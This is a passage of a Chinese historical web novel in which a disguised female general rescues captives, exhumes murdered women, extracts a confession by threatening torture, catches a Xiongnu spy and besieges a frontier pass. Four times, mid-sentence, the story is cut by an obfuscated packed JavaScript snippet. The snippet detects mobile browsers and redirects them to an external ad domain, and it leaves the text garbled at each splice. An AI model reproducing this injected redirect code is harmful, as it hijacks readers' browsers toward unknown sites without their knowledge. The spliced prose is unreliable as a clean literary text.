孤弈行微微侧目,华澜随即从衣袖中拿出那把西域弯刀扔给孤弈行,孤弈行稳稳接住后将弯刀拔出刀鞘,抵在男人喉咙上。 男人起初还不安分,但当看到刀刃在自己的肌肤上摩擦出鲜红的血迹时终于安静了下来,嘴唇泛白。 “你……你想做什么?”男人微喘道,“外面都是我的人,你是逃不出去的。” 孤弈行丝毫不恼,眼神冷静:“光靠我当然不行,但不是还有你吗?” 声声入耳,男人脸色一沉。 “如果我没猜错,墨雨山人可是当今圣上母族的人,所以你姓梁,对不对?”孤弈行冷笑,眸色渐深。 男人眼神躲闪。 “而据我所知,梁氏一族年轻一辈里除了安东将军梁右克之外,还有一个不入仕的旁系子弟梁靖安,此人据说是个商人,却很少有人见过这个梁靖安的真面目。”孤弈行眉心微挑,“不过今儿我倒是运气好。” “不知我是该叫你墨雨山人,还是应该叫你梁靖安?”孤弈行的眼神逐渐冷了下去。 梁靖安顿时感觉后背发凉,额间冒出了细密的汗珠,眼神躲闪。 孤弈行抵着梁靖安的脖子往外走,守在外面的随从见状都围了过来,将孤弈行一行人团团围住。 “都别动!你们的主子现在在我手里,若有人敢上前一步,且看看是你的动作快,还是我的刀快!”孤弈行眼神凌厉。 声声入耳,众人面面相觑,往后退去让开一条路来。 孤弈行挟持梁右克走出云汐阁,见言煜,琴潇,飞鸢三人守在不远处接应,见到孤弈行之后,言煜放出信号弹,空中顿时炸开一道红色的烟雾。 “没事吧?”言煜见孤弈行身上衣裳单薄且被水浸透微微皱眉,随即从身上解下外袍披在她身上。 “没事。”孤弈行笑着摇了摇头。 “把他交给我吧。” 孤弈行微愣,随即将赤|裸着上半身的梁靖安推给言煜,言煜手持弯刀将其挟持。 虽然孤弈行内里的云纱长裙还在滴水,但穿上言煜解下的外袍后孤弈行顿时感觉暖和了不少。而就在此时,不远处有一群人朝着此处赶来,想来是那赵六和柴铁瞧见云汐阁方向的烟雾弹得知中计了。 很快,赵六和柴铁带着几十个监工将孤弈行等人团团围住,但却碍于梁靖安安慰不敢上前。 赵六看清了红衣女子的样貌,顿时气得牙痒痒:“你们!你们究竟是什么人!” 孤弈行取出一块紫檀木嵌金令牌在赵六身前晃了晃,眼神清冷:“这下可看清楚了!本将乃骠骑将军洛川,随当今圣上西巡来此。尔等偷抓百姓为奴,私挖金矿,残害良家妇女,桩桩件件都是死罪!还不束手就擒!” 赵六闻声脸色顿时暗了下去,面色铁青。 一旁的柴铁见赵六这副反应,嘲讽道:“我听说这几人昨日还是你赵六的人,怎么今儿就成了朝廷的大官了?” “你!”赵六斜眼与柴铁对视,随即冷笑,“不过若是等朝廷找来,你也一样死无葬身之地!” 柴铁将手中皮鞭攥得更紧了些,抬头迎上孤弈行目光:“这话说的倒是没错,既然都是死,不如试试!” 此时远处卢施率领众百姓而来,眼看着就能将一众监工围住。 赵六随即心头一横,手持皮鞭与柴铁一起向孤弈行方向而来。 狗急了还能跳墙,孤弈行早就猜到此二人会有如此反应,不慌不忙地接过琴潇抛来的长鞭,又腾空而起躲过二人长鞭,随即抬手向赵六扫去。 长鞭在半空中舞动,速度极快且变幻莫测,犹如万千银蛇袭涌而来,气势磅礴。 在天际日光的映射下,赵六一时看花了眼身子一滞,右胸便直直受了这一击,顿时踉跄在地口吐鲜血,一旁的琴潇见机将其制住。 柴铁见赵六倒地心生不妙,又知不是对方对手,目光在一旁被挟持的梁靖安身上停留了两秒。 孤弈行察觉到柴铁的异样,知他想要釜底抽薪解救梁靖安。 眼下一众监工和梁靖安的随从之所以不敢上前都是因为他们手里有梁靖安,倘若梁靖安得救,这些人没有了顾忌难免会扑上来,到时候局势便不好控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066114|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,更何况卢施手下还有不少无辜百姓,后果将不堪设想。 孤弈行提前预判柴铁走向,挥舞长鞭到言煜身前,柴铁果然正欲上前,硬生生被孤弈行逼退。孤弈行趁机挡在言煜身前,与柴铁对峙。 “你当日关上暗门有犹豫的时候老子就该猜到你有问题!”柴铁咬咬牙道。 “你倒还有些脑子。”孤弈行挑了挑眉,声音逐渐冷了下去,“不过现在说这些,不觉得有些晚吗?” 言罢孤弈行见对方皮鞭横扫而来,她不再躲闪而是抓住鞭头,没等对方反应过来朝自己这处使劲一拉,柴铁顿时由于惯性向前而去。 孤弈行不曾犹豫,右手化掌为爪抓住他的肩膀,柴铁微愣,随即反应过来侧身周旋,却被孤弈行一记长鞭狠狠抽在右手手背,柴铁右手顿时脱力,手中皮鞭落地,孤弈行随即将地上皮鞭踢到远处。 见没了武器,柴铁急红了眼,铆足了力气抬拳向孤弈行袭来。孤弈行丝毫不让,右手化掌直直迎上对方拳头,竟生生压住了柴铁的攻势令其动弹不得。 柴铁心道不好,却为时已晚,孤弈行又使了气力包住他的拳头,然后陡然抬手用力一旋按下,一截手臂竟生生被卸了下来。 柴铁起先还有些麻木,待到反应过来见到地上一截手臂血肉模糊,痛苦地惨叫。 一众监工亲眼见到赵六和柴铁都被制服,一时间吓破了胆,再没有敢上前,甚至有人带头扔掉了武器,危机顿时瓦解。 眼看了一场恶战的言煜松了口气,看着孤弈行:“有没有受伤?” 孤弈行与言煜对视,摇了摇头,随即听到背后不远处传来整齐的脚步声。 “援兵来了。” 言煜抬眸望着不远处身着统一制服的官兵,点了点头。 孤弈行却没有转身,径直朝着梁靖安的方向走了一步,梁靖安看到对方深沉的眼神回想起并不美好的记忆,以为对方还要拿自己出气,身体不由自主地瑟瑟发抖。 “梁靖安我问你,之前入云汐阁的女子都被你藏在哪儿了?”孤弈行眼眸微红,眉眼间暗藏杀意。 梁靖安脸色煞白。 “说!”孤弈行高声喝道,压迫感尽显。 “在云汐阁……浴池后的花坛里……” 声声入耳,孤弈行手握长鞭的右手死死攥紧,不长的指甲硬生生在皮肉上留下了几道划痕。孤弈行随即转身朝着云汐阁方向而去,言煜见她情绪不对,便让飞鸢挟持住梁靖安,跟了上去。 华澜等人起先留在云汐阁内,此时见到孤弈行身影都知晓脱离了危险于是拥了上去,但为首的华澜却见对方冷着脸,道:“将军怎么了?” 孤弈行薄唇轻抿:“随我去一趟浴池后的花坛。” 华澜点了点头没有再说话,只是跟了上去。 孤弈行径直朝着花坛而去,见花坛里的借着明媚的日光开得正艳。 言煜环顾四周,见西侧一处的泥土似有多次翻动的迹象,低眉道:“应该是这里。” 78. 花祭 孤弈行走到言煜身旁,低头果然发现此处的泥土有时常翻动的迹象,相比其他地方的泥土要松散得多。 孤弈行蹲下身去深吸了一口气,眼眶微红,她似是挣扎了很久才伸手轻轻触碰表层松动的泥土。 言煜见一旁的栏杆一侧有铁铲,便拿了铁铲递给孤弈行,心情同样沉重。 “将军……莫不是……”此时立在一旁的华澜反应过来,身体微微颤抖。 孤弈行没说话,只是红着眼接过言煜手中的铁铲,小心地往松动的泥土挖去。 孤弈行没让言煜和华澜帮忙,她也不知自己挖了多久,只觉得每一次的动作都让她感觉格外煎熬。她好像早就猜到了结局,但胸口却还是仿佛压着一块巨石,让她几乎喘不过气来。 就在此时,铁铲碰到了什么东西,她低头定睛一看,深褐色的泥土之下掩藏着的白骨逐渐浮现,铁铲方才碰到的是一节腿骨。 待到孤弈行再往下挖去,浓烈的腐尸气味在空中弥漫来,越来越多的白骨浮现在她的面前。白骨摆放杂乱,而且大小不一,显然是分属于不同的女性,却难以拼出完整的骨架。 不仅如此,孤弈行最先挖到的尸体只腐烂了一部分,显然是最新死亡的,而靠近底部是尸体则都是陈尸,已然白骨化,可想而知梁靖安为了一己私欲残害了多少无辜妇女,竟还妄称墨雨山人,当真可憎至极。 想到此处,孤弈行眼眶微红,握着铁铲的右手不由得微微攥紧。 就在此时,一阵疾风吹过,卷落了一旁玉兰树上的玉兰花,不偏不倚地落在新翻开的泥土里,蕴着清新淡雅的香味仿佛为长眠的少女披上了一件雪白的披风。 孤弈行感觉到自己手被人握住,泛着凉意的指尖顿时感受到了一丝温暖。 “我来吧。”言煜看着孤弈行的眼睛,小心地拿过孤弈行手中的铁铲,继续向下深挖。 华澜随即也从玉兰树上折了一条枝桠帮忙挖尸。 没过多久,孤弈行看见华澜身体一滞,随即肩膀微微颤抖。 “怎么了?”孤弈行感觉有些不对。 “这是……”华澜从一具新挖出的白骨旁找到了一条红宝石手链握在手里,声音哽咽,“这是白妍的……我认得。” “青川一役后我们说好了要回到祁州互相照拂……可我一直没有等到她。”华澜眼角有泪落下,将那条红宝石手链紧紧贴在心口,“后来我才知道她失踪了,没想到……” 声声入耳,孤弈行感觉胸口泛起一阵刺痛。 这些女子本处于最美好的年华,如今却被埋藏在这处花坛里无人得知。她们之中有无辜的普通百姓,有曾跟随她征战沙场的女将士,但有一点是相同的,她们都曾是她祁国的子民。 “将军,他们会收到惩罚的,对吗?”华澜抬头望着孤弈行,白皙的脖颈青筋凸起。 孤弈行蹲下身去与华澜对视,眼神冷入骨髓,字字句句道:“对,不管是梁靖安,还是他幕后的人,都一定会受到惩罚,我不会让她们死不瞑目。” 华澜重重地点头。 “我会命人将她们好好安葬,她们一定不愿意再留在这里。”孤弈行起身,深吸了一口气。 “将军日后有什么打算?” 孤弈行感觉内心百感交集,心绪很乱。良久,她转身看着华澜的眼睛,薄唇微启:“继续走我选择的路,一条和世人不同的路。” “若是将军不弃,华澜愿意跟着将军,为将军效劳。”华澜拱手抱拳,“华澜还知道祁州境内其他凤字军的下落,她们的生活也多不如意,我可以试着暗中重新集合凤字军,还有当年横云军的兄弟们。” 孤弈行心头泛起一阵触动,伸手握住华澜的手:“我知你是一片好意,只是此事凶险,更何况你怎知我不是第二个梁党?” “华澜不怕凶险。自从将军救下华澜和姐妹,还有刚刚将军的反应,华澜便知将军与他们这些奸臣小人不同。”华澜抿唇一笑,“将军是我除了王上以外最敬重的人,是华澜见过的第二个女巾帼。” 声声入耳,孤弈行眼眶微红。她强忍住心绪,浅浅一笑:“好,我定不辜负你们期望。我离开祁州之后,你们万事小心,等我消息。” 华澜点了点头,却见孤弈行撕下袖口的布料,又从袖中取出一个梅花印章在布料上留下了一个朱红色的印记,随即将布料递给自己。 孤氏私印为孤氏王族所独有,相传早已失传,怎会……华澜几乎不敢相信自己的眼睛。 但她曾听军中老人提起过孤氏私印,如今又亲眼得见,经过再三比对绝不会错!唯一的解释就是她面前的这位女将军就是孤氏王族,而孤氏王族内的女将军除了孤长祈,便是那位一统天下的…… “您是……王上?”华澜的声音微微发颤。 孤弈行微微低头,不予置否。 华澜眼眶微红。她抬头望着面前身着男装的女子,分明与她记忆中的人是完全不同的容貌,但眼神,气度却悄然重合。她没有细想许多,只知道祁州百姓有救了。 “华澜定不辱命。” 孤弈行轻抚华澜肩膀,随即转身走出云汐阁。 云汐阁外官兵已然将奴隶营围了个水泄不通,为首军官见了孤弈行和言煜走上前来。 “洛将军,言大人。” 孤弈行微微颔首:“陛下呢?” “陛下在谷外等着二位,二位请随我来。” 孤弈行与言煜对视,随即并肩往谷外走去。行至谷口之时,孤弈行果然远远望见一个熟悉的人影,喻威似也意识到什么,转过身来。 “参见陛下。” 喻威点了点头,声音低沉,似是怒不可遏:“若非焕卿临走前找人给朕传消息,朕还没想到竟有人在朕的眼皮子底下如此胆大妄为!简直是吃了熊心豹子胆!” 声声入耳,孤弈行侧身看了一眼言煜。提前留有后手,这倒是他言焕卿一贯的作风。 “人抓到了吗?” “回陛下,抓到了,是梁靖安。”孤弈行应道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079214|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不归谷只是为了掩盖奴隶营的幌子,真正的目的是挖取金矿谋取私利。不仅如此,梁靖安还残害民女,实在是罪大恶极。” 听到梁靖安三个字,喻威脸色顿时黑了下去。他深知梁靖安此人只是一介商人,单凭他自己的本事自然掀不起这么大的风浪,但归根到底梁靖安却是他母族梁家的旁系子弟,因而此事显然与梁家有关。 梁家虽是他母族,与他有血缘之亲,他坐上这龙椅之后也没少给梁家好处,但今日梁家能背着他变民为奴,私挖金矿,明日就敢骑到他喻威的脖子上,他绝不会允许这种事的发生。 “洛川,朕命你彻查此事,务必撬开梁靖安的嘴,把所有相关之人还有幕后之人都找出来!”喻威龙目间的怒气难以掩盖。 “臣定不辱命。”孤弈行道,“陛下,臣还有一事禀告。” “说。” “臣发现梁靖安残害民女时用了涣神散,此毒药出自匈奴之手。” 涣神散……喻威眉头紧皱,这毒药他最熟悉不过,当年他能算计孤弈行并成事都多亏了这剧毒的毒药。此毒药一直被牢牢攥在匈奴手里,如今却出现在梁靖安手中,看来此事与匈奴也脱不了干系。 “焕卿怎么看此事?” 言煜微微欠身:“回陛下,匈奴素来不会轻易将秘毒涣神散交给任何人,所以臣怀疑梁靖安以及幕后之人与匈奴暗中有往来,行不利于朝堂,不利于陛下之事。” “自匈奴占据玉临关与嘉南关以来便愈发肆无忌惮,甚至在武延城多次出兵挑衅,此前若非是洛将军,只怕武延城也已失守。此次之事臣怀疑是匈奴想要借机挑起事端祸乱我国朝政,狼子野心昭然若揭。” 喻威心思沉重:“焕卿所忧亦是朕之所忧,若查明此事确与匈奴有关,朕便不会一再退让!” 回到官服后孤弈行命人将梁靖安关入了大狱,又命人三天三夜不给其吃食。到了第三天夜里,孤弈行与言煜前往狱中,见梁靖安被笨重的铁链束缚住手脚,上身只披了一件薄薄的中衣,头发沾满了灰尘和泥土,凌乱不堪。 梁靖安似是听到了脚步声,吃力地睁开双眼,待看清来者模样时,身体微微颤抖。 但孤弈行却不会因为他看上去凄惨的模样而从心中生出一丝一毫的怜悯,相比起他害死的那些人命,这些屈辱算起来不算什么。不过事到如今,他离死期倒也不远了,而在他开口之前,她会让他痛不欲生,求生不得求死不能。 “还不说吗?”孤弈行勾唇冷笑,眼神凌厉。 “说……说什么……”梁靖安喘气道,“都是我一个人做的……” 孤弈行早就猜到梁靖安不会这般轻易开口,轻轻拍了拍手,便有人抬着满满一桌子家伙什到了狱中。 “我们在云汐阁发现了你与丁仁舟来往的书信,丁仁舟已经认罪,不过单凭你一个商人还有一个小小知州还远远不够。” 梁靖安下意识眼神躲闪。 “你觉得是你自己说比较好,还是我请你说比较好。” 79. 细作 声声入耳,梁靖安喉结微微上下滚动。 孤弈行笑着点了点头:“看来梁家倒是出了个有骨气的。” 言罢,孤弈行转身去取桌子上的家伙什,随着她的手轻轻掠过每一样器物,梁靖安的额间满是冷汗,身体也微微颤抖。 很快,孤弈行似是下定了主意,从木桌上拿起一个铜烙印丢入火盆里。呲啦一声,火盆里的迸发出点点火星,炙热的温度使得铜烙印变得通红。 “就从这个开始吧,然后一个都不能少。”孤弈行举起烫得通红的铜烙印走到梁靖安身前,冷笑道,“陛下让我好好招待你,我若是下手轻也不好交代不是?” 梁靖安眼神逐渐变得惊恐:“陛……陛下……” “这个家伙下去会把你心口的肉烫熟,你害了这么多人,正好让我看看你的心是黑的还是红的。”孤弈行眉眼冷若冰霜。 梁靖安身体剧烈一颤,眼看着就要崩溃。孤弈行勾了勾唇,继续道:“然后再染上些污水,伤口会反复溃烂,在这个地牢里还不知道有什么其他的东西。” 孤弈行言罢举起铜烙印就要往梁靖安心口烫去,梁靖安顿时惊恐万分,惨叫:“我说!我说!是梁氏一族!” “继续说。”孤弈行微微歪头,似是有些不耐烦。 梁靖安微微喘气:“他们想要更多钱,于是找到了这座金矿秘密开挖,想要瞒着陛下置办私产。至于丁仁舟还有翟杰,也是因为梁家给了他们好处,让他们为我们做掩护。” “所以我们一到祁州你们就收到了消息。”言煜道。 梁靖安点了点头:“对,他们故意闹出大动静,目的就是为了提醒我们这些日子小心些,没想到还是被你们发现了。” “不过我只是一个不入仕的梁家旁系子弟,我做这些都是被长辈们还有梁右克逼的!” “你说你是被逼的?”孤弈行挑了挑眉。 梁靖安以为抓住了救命稻草,眼睛顿时一亮,连连点头。 “你说你私挖金矿是被逼的,难道强抢民女草菅人命也是被逼的吗?”孤弈行望向梁靖安的眼神冷到了骨子里。 话音未落,梁靖安的脸色黯淡了下去。 “我们发现你对那些女子用了涣神散,毒药是哪里来的?”言煜微微低头与梁靖安对视,薄唇轻抿。 “毒药……”梁靖安愣了一下,随即猛然抬头,“这个是家中长辈给我的,这个我真不知道。” 孤弈行看着梁靖安默声不语,她知晓事已至此梁靖安所交代之事已然让他难逃一死,是以他没有必要再撒谎,此刻说不知晓涣神散之事应当是真的。 “是谁给你的?” “梁氏族长梁同厚。”梁靖安笃定道。 梁同厚……孤弈行仔细回想:是喻威的大舅父!也就是当朝国舅! 怪不得梁靖安祁州私挖金矿闹出这么大动静喻威却在洛阳没有收到一点风声,如此以来一切倒都解释得通了。 “此事梁右克是否知情?”孤弈行道。 “应是不知,他整日游手好闲痴迷享乐,素来不管梁家的事。” 孤弈行点了点头。 想来也是,若梁右克早知道梁家私挖祁州金矿一事,以免被查出蛛丝马迹应当主动请缨护卫西巡,断不会让她前往,如今将梁家连根拔起。 走出牢房后,言煜见孤弈行默声不语,关心道:“怎么了?” 孤弈行闻声抬头与言煜对视,怅然一笑:“我在想他当年背叛我的时候,可曾想过今日会被血缘至亲背叛。他汲汲营营一世负了太多人,到头来不过众叛亲离,孤身一人。” “或许正如素前辈所说世间万事皆有缘果。他自己种下的因,如今也该让他尝尝苦果了。”言煜牵起孤弈行的手,眼神坚毅。 孤弈行点了点头,眉眼轻扬:“好戏,才刚刚开始。” 孤弈行和言煜将梁靖安的口供交给喻威之后,喻威果然雷霆大怒,直接命人下令封锁整个梁府,用重兵将梁府围了个水泄不通,又传信京都将梁右克囚禁起来,曾经鼎盛一时的梁家顿时如同高台危楼,所有人唯恐避之不及。 喻威让孤弈行和言煜守在门外孤身进入,孤弈行心知肚明他是为了守护皇家仅剩的颜面,尽管这在她看来有些可笑。 两个时辰后,梁府大门从里面被打开,孤弈行见喻威已然黑了脸,眼睛通红,眼底似有杀意。 “传朕旨意,梁同厚私下与匈奴勾结,通敌叛国,即日处以极刑,以儆效尤!梁靖安私挖金矿残害人命即刻问斩!其余梁家子弟全数贬为奴籍,流放琼州,终生不得踏入京都半步!” “是!” 喻威定了定神,脸色却不见好转,只是迎面朝着孤弈行和言煜而来:“按照梁同厚所言城内有匈奴细作,朕希望你们把他们找出来。” “臣定不辱命。”孤弈行与言煜微微欠身,良久孤弈行道,“匈奴此次野心勃勃,陛下不得不防。” 喻威深吸了一口气,眼眸深沉:“洛爱卿所言朕又何尝不知?只是玉临关和嘉南关都在匈奴手中,三关只剩其一,终究是被动。” “陛下可曾想过收复两关?”孤弈行抬眸。 喻威微微定神:“说来听听。” “此次匈奴干涉我国内政,本就是有错在先,若此次洛川与言大人抓住匈奴细作,将匈奴的所作所为昭告天下,人心定能站在我们这边。” “洛将军所言不无道理。”言煜道。 声声入耳,喻威神色不显,但内心实则已然波涛汹涌:“二位爱卿的意见朕会好好考虑。” “那洛川先行告退。” “臣先行告退。” 待离开喻威视线后,言煜侧身道:“喻威带兵查抄梁府此事恐怕已经闹得满城皆知,你打算怎么做?” “祁州有南北两座城门,其中离匈奴属地最近的是北门长荆门。此刻若是封锁城门难免匈奴会在城中隐藏踪迹,不如我们在长荆门提前布防,便可瓮中捉鳖。”孤弈行勾了勾唇,与言煜对视。 “言之有理。” 言罢,孤弈行和言煜在附近马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089691|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市买了两匹马,策马直往北侧长荆门而去,二人抵达之时见长荆门来往行人颇多,其中还有不少商队进出。 守门士官见了孤弈行和言煜立马笑着迎了上来:“二位大人怎么来了?” “最近城内不太平,陛下怕有细作隐藏,便派我与洛将军前来查看。”言煜抿唇浅笑。 守门士官微愣,随即回过神来:“原来如此,不过小的一直在这儿检查,没看见什么细作。” 话音未落,孤弈行瞧见一个中原打扮的商人正牵着马车,经过自己身侧之事将头埋得低了些。 “这是什么商队?” “回大人的话,是卖瓷器的。”士官应道,“已经检查过了,箱子里只有瓷器。” “停下!”孤弈行道。 那为首的商人身子一滞,随即向敞开的城门方向冲去。 “封锁城门!”孤弈行心头一横,拔出长剑便凌空一跃,拦住那人去路。 此时孤弈行与那人对视,总算看清了对方的脸。那人颧骨高耸,鼻梁较低,眼睛凹陷,上唇的胡须虽被剔除却依旧可见清晰的胡茬,分明是典型的匈奴长相。 那人见自己已被包围眉头紧皱,随即低头将右手伸入衣袖欲取出什么东西,孤弈行心道不好,直接旋身径直砍下那人右手。 匈奴细作见右手落地先是一愣,随即倒在地上痛苦挣扎,藏在衣袖中的白色瓷瓶随即掉落在地上摔了个粉碎。 是涣神散。 此时官兵欲上前擒住匈奴细作,孤弈行抬手喝道:“先退后!” 果然如孤弈行所料,匈奴细作似是吸入了大量打翻在地的涣神散粉末,顿时四肢无力浑身剧痛,瘫在地上动弹不得,没过多久便口吐毒血。 “所有人捂好口鼻再上前。” “是!” 官兵随即用手巾捂住口鼻,上前将匈奴细作擒住。 “将人押入大牢。” “是!” 官兵上前将为首的匈奴细作还有商队众人一同押入大佬,祁州南北城门也被下令暂时封锁。 “你觉得这是谁的手笔?”言煜侧身道。 “三年前老匈奴王病逝,只剩下一个年仅八岁的幼子,他自是做不得主的,实权如今都在匈奴王后和乌桑手中。” “虽然匈奴还有符时清这位大将,但依我之前与他交手对他的了解,他应当不屑于使这般卑鄙的手段,所以我觉得此事出自乌桑之手。”孤弈行道。 言煜微微抿唇,良久道:“你好像很了解符时清。” 孤弈行没想到言煜会突然这么说,随即很快反应过来。她是知道陆耳写话本子的功力的,却不知这家伙背着她又编了些什么新的玩意。 于是孤弈行佯装不在意,笑了笑:“谈不上了解,就是之前交过手的对手罢了。老话说得好,知己知己方能百战不殆,你说是不是?” 言煜看着孤弈行浅浅一笑:“无影阁的消息,符时清镇守玉临关,而乌桑则在嘉南关,我们要想抵达匈奴王城也必须经过此二关。” 80. 对峙 孤弈行仔细思索:“从地理位置来看,嘉南关在玉临关以北,要想突破嘉南关势必先攻玉临关。” 言煜不予置否:“玉临关地处沙漠戈壁,地形复杂,又被成为魔鬼城,要想顺利攻破玉临关,我们需要一支训练有素的骑兵。” 言煜所言亦是孤弈行心中所想,不过如今雍朝是金玉其外败絮其中,要想在短时间内重新训练出一支骑兵怕是来不及了。如此一来……便唯有一个办法。 孤弈行不禁回想起在武延城由幽州军和武延军队组成的青幽联军,幽州和武延皆地处西北,与玉临关气候相近,联军又有过骑射经验,可以称得上是此次攻打玉临关的不二人选。 “或许青幽联军可以。”孤弈行抬眸一笑,心中笃定。 次日,喻威以匈奴干涉雍朝内政为由集合了以青幽联军为主力骑兵的八万大军,正式发兵玉临关与匈奴开展,并认命骠骑将军洛川担任兵马大元帅,右相言煜担任军师。 然而这次孤弈行却不急着强攻,而是命人切断玉临关的后方粮食补给后在城外安营扎寨。 “将军还不下令进攻吗?”琴潇看了一眼言煜,又无奈地看着营帐中摆弄着沙盘的孤弈行,忍不住道。 “不着急。”孤弈行低头看着沙盘,勾了勾唇,“符时清这几日有何动静?” “符时清还是和之前一样严防死守不敢有丝毫懈怠,不过我们的探子来报经过将军几次佯攻城内士气低迷。” 孤弈行点了点头,抬头望着言煜:“焕卿,后面几日天气如何?” “我找人看过,说是这半月来玉临关滴水不下,气候格外干旱,明日温度更高怕是更加酷热难耐。”言煜道。 “看来天时都站在我们这边,让老胡和老鲍他们抓紧赶制羽箭。”声声入耳,孤弈行唇角轻扬,“今晚最后一次佯攻,传我令明日正午攻城。” “是!” 是日夜里,玉临关内军营。 “将军!不好了!他们又敲响战鼓了!”副将慌慌张张冲入营内道。 符时清抬眸:“这次攻上来了吗?” 副将似是有些为难,苦笑道:“那倒没有,还是和前几日一样像是佯攻。不过将军您之前说过这洛川诡计多端,不管对方佯攻与否都要通报您一声,下官不敢懈怠。” “知道了,命人看住敌军动向,有情况立刻来报。” “是!”副将鞠了一躬,随即走出营帐。 符时清站起身来看着身前的沙盘,眼睛里满是血丝,尽显疲态。雍国军队抵达玉临关外至今已有四日,却是日日佯攻按兵不动,他和城中士兵是以四日来没有一日合上眼睛安稳入睡。 他本想着玉临关素有魔鬼城之城,地势复杂险要,他便可占据地形优势诱敌深入展开周旋并将其一一歼灭,但如今看来对方早就看到了这一点根本不给他一点机会。 “洛川……”符时清双手撑着沙盘,眼眸深沉,“我真是又一次小瞧了你。” 到了第二日,果然如言煜所言正午烈日当空,地处沙漠戈壁之中的玉临关好似处于蒸笼之中炙热难耐。 符时清登上城楼没多久额间便满是汗水,逐渐遮挡了视线,阳光也让他这不开眼。 “将军,不然您先进去吧。”副将给符时清递了一块汗巾,道。 符时清接过汗巾擦去额间汗水,神情严肃:“不必,不能让敌军钻了空子。” 话音未落,符时清突然听到细微的马蹄声,顿时警觉转身望着城外。 他起先放眼望去没有发现异常,而后定睛一看却发现大片敌军朝玉临关方向而来。只因雍国军队身着与沙漠颜色相仿的戎装和刺目的炎炎烈日,他差点没有反应过来。 “传我令,城前列阵!”符时清喝道。 “是!” 片刻后,符时清率领部分匈奴军队在玉临关外列阵,两军阵前对峙。 “符将军,好久不见。”孤弈行骑于马上,眉眼轻扬。 符时清死死地盯着孤弈行,见对方着一身戎装铠甲,身披正红色披风,和他记忆中女将的模样重叠,不过倒是多了几分老练和气势。 不管短短大半年时间,她竟已从一个小小的郡尉成为了骠骑将军,此次又被雍朝皇帝任命为兵马大元帅,看来他当时的确没有看走眼,此人确实不容小觑。 “好久不见,洛元帅。”符时清冷笑道,声音低沉。 孤弈行见对方满是敌意似是想到一些并不美好的回忆,忍不住勾了勾唇,恣意一笑:“上次的伤养好了吧?我可不想被人说成胜之不武。” 刚刚愈合的伤疤被毫不留情地当场揭开,符时清顿时感觉心口满是戾气。 当日武延城一战他几乎丢了大半条命,休养了很久才缓过来,此时被对方提起更是气得差点失去理智。不过他深知,这正是洛川出言挑衅想要看到的结局。 是以符时清定了定神道:“不劳洛元帅挂心,本将军好得很。” “那便好。” 孤弈行勾了勾唇,随即抬手示意,击鼓手顿时就位。 下一秒,战鼓擂,声欲震天。 匈奴多擅长马背作战,是以符时清手下的匈奴军队大多都是骑兵。符时清将骑兵列成方阵,便有效弥补了步兵方阵机动性不强的缺点。 但孤弈行心知肚明,骑兵也并非不可战胜,虽然骑兵军阵的机动性强,正面冲击力强,但侧面和背面相对脆弱,对此他们经过演练早有准备。 孤弈行抬手示意,雍朝军队大阵中部顿时只剩小部分兵力正面匈奴骑兵,其余大部分兵力侧在两侧迂回包抄。 符时清眼看着手下士兵轻而易举地直冲入对方大阵之中心道不妙。对方中部看似被逐步击退,实则只是引诱他们深入的靶子,他们中计了。 “全部后撤!”符时清喝道。 就在匈奴前锋骑兵听到将军令后六神无主准备回撤之时,却发现自己周围的雍军都已换成了弓弩手。孤弈行下令射杀,万弩齐发,匈奴前锋骑兵顿时被射杀殆尽。 见出师不利,符时清心情沉重,眉头紧皱。原本两军数量对等,但此时雍军已略多于城前的匈奴军,符时清只能下令化攻为守保存实力。 大战持续了半日,一直到子夜经过十几个回合的阵前较量,两军各有伤亡,但孤弈行作为先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098013|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发制人者早就做好了持久战的打算,军械准备充足,反观符时清则是被迫迎敌,随着不断消耗,匈奴的军械逐渐不足,居于劣势。 符时清很快也发现了敌优我劣的局势,心知若是再任由对方缠斗下去他们怕是都要折在城外,是以下令回撤。 就在此时,孤弈行下令众将士手持新赶制的弓箭并在箭头沾上火油,以火攻之。 